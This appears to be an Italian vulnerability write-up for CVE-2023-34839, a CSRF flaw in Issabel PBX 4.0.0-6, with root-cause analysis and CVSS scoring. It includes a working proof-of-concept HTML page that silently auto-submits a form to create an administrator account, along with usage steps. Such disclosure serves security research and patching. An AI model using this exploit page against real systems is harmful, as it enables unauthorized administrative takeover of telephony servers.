
CVE-2023-34839 è una vulnerabilità di Cross-Site Request Forgery (CSRF) scoperta in Issabel PBX versione 4.0.0-6, una piattaforma di comunicazione unificata open-source ampiamente utilizzata.
CVE-2023-34839 è una vulnerabilità Cross-Site Request Forgery (CSRF) scoperta in Issabel PBX versione 4.0.0-6, una piattaforma di comunicazione unificata open-source ampiamente utilizzata. La vulnerabilità risiede nell'endpoint di gestione degli utenti e consente a un attaccante remoto non autenticato di creare silenziosamente un nuovo account amministratore, inducendo un amministratore attualmente autenticato a visitare una pagina web appositamente predisposta.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2023-34839 |
| Data | 23 Giugno 2023 |
| Ricercatore | Sahil Ojha |
| Fornitore | Issabel |
| Prodotto | Issabel PBX |
| Versione | 4.0.0-6 |
| Testato su | Windows |
Issabel PBX 4.0.0-6 non implementa protezioni CSRF (ad esempio, token sincronizzatore, attributi del cookie SameSite o validazione delle intestazioni Origin / Referer) sull'endpoint di creazione utente:
POST /index.php?menu=userlist&action=new
Poiché l'applicazione si basa esclusivamente sui cookie di sessione per l'autenticazione e non esegue alcuna validazione delle richieste che modificano lo stato, una richiesta POST contraffatta proveniente da qualsiasi origine verrà accettata ed elaborata con tutti i privilegi della sessione dell'amministratore autenticato.
Causa principale: Assenza di validazione del token anti-CSRF sugli endpoint amministrativi che modificano lo stato.
Classe di vulnerabilità: CWE-352 — Cross-Site Request Forgery (CSRF)
| Software | Versione | Stato |
|---|---|---|
| Issabel PBX | 4.0.0-6 | Vulnerabile ✔ |
| Metrica | Valore |
|---|---|
| Vettore CVSS v3.1 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Punteggio Base | 8.8 (Alto) |
| Vettore d'attacco | Rete |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Nessuno |
| Interazione utente | Richiesta (visita amministratore) |
| Ambito | Invariato |
| Riservatezza | Alta |
| Integrità | Alta |
| Disponibilità | Alta |
Un attaccante può sfruttare questa vulnerabilità seguendo questi passaggi ad alto livello:
Non è richiesta altra interazione oltre a una singola visita alla pagina da parte della vittima.
⚠️ Solo per scopi educativi e test autorizzati.
Sostituirelocalhostcon il nome host o l'indirizzo IP dell'istanza Issabel PBX target.
Se si effettuano test contro un endpointhttps://con un certificato autofirmato, è necessario prima visitare l'URL target nello stesso browser e accettare l'avviso del certificato; altrimenti il browser bloccherà l'invio del modulo cross-origin.
<html>
<!-- CSRF Exploit — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF Test Account" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = Administrator -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Il file exploit è disponibile anche in questo repository: CSRF Exploit.html
Navigare all'interfaccia web di Issabel PBX e accedere con le credenziali di amministratore.

Copiare il codice HTML del PoC sopra e salvarlo come file .html, sostituendo localhost con il nome host o l'indirizzo IP effettivo dell'istanza Issabel target.
L'exploit utilizza campi del modulo nascosti per inviare silenziosamente una richiesta POST di creazione di un nuovo utente all'applicazione. Quando la pagina viene caricata, il JavaScript incorporato invia immediatamente il modulo senza alcuna azione visibile da parte dell'utente.
